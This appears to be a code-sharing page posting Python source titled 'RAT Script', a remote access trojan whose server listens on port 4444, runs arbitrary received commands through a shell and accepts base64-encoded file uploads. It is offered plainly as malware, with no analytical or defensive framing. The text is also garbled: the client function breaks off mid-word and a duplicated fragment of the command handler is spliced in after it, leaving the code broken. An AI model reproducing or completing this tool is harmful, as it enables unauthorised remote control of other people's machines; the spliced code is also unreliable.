RAT Script

 avatar
unknown
python
9 months ago
3.0 kB
5
Indexable
import socket
import os
import subprocess
import sys
import base64
import threading
import argparse

def create_socket(host='0.0.0.0', port=4444, is_server=True):
    if is_server:
        server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server_socket.bind((host, port))
        server_socket.listen(5)
        print(f"Server started on {host}:{port}")
    else:
        client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client_socket.connect((host, port))
    return client_socket if not is_server else server_socket

def handle_client(client_socket):
    while True:
        try:
            command = client_socket.recv(1024).decode('utf-8')
            if command.lower() == 'exit':
                break
            elif command.lower() == 'upload':
                file_name = client_socket.recv(1024).decode('utf-8')
                file_data = client_socket.recv(4096)
                while file_data:
                    file_data += client_socket.recv(4096)
                with open(file_name, 'wb') as file:
                    file.write(base64.b64decode(file_data))
                client_socket.send(b'File uploaded successfully.')
            else:
                result = subprocess.run(command, shell=True, capture_output=True, text=True)
                client_socket.send(result.stdout.encode('utf-8') + result.stderr.encode('utf-8'))
        except Exception as e:
            print(f"Error: {e}")
            break
    client_socket.close()

def start_server(host='0.0.0.0', port=4444):
    server_socket = create_socket(host, port, is_server=True)
    while True:
        client_socket, addr = server_socket.accept()
        print(f"Connection from {addr}")
        client_handler = threading.Thread(target=handle_client, args=(client_socket,))
        client_handler.start()

def connect_to_server(ip, port):
    client_socket = create```python
                with open(file_name, 'wb') as file:
                    file.write(base64.b64decode(file_data))
                client_socket.send(b'File uploaded successfully.')
            else:
                result = subprocess.run(command, shell=True, capture_output=True, text=True)
                client_socket.send(result.stdout.encode('utf-8') + result.stderr.encode('utf-8'))
        except Exception as e:
            print(f"Error: {e}")
            break
    client_socket.close()

def main():
    parser = argparse.ArgumentParser(description='RAT Script')
    parser.add_argument('mode', choices=['server', 'client'], help='Mode of operation')
    parser.add_argument('--ip', default='127.0.0.1', help='IP address to connect to (for client mode)')
    parser.add_argument('--port', type=int, default=4444, help='Port number to connect to (for client mode)')
    args = parser.parse_args()

    if args.mode == 'server':
        start_server()
    elif args.mode == 'client':
        connect_to_server(args.ip, args.port)

if __name__ == "__main__":
    main()
Editor is loading...
Leave a Comment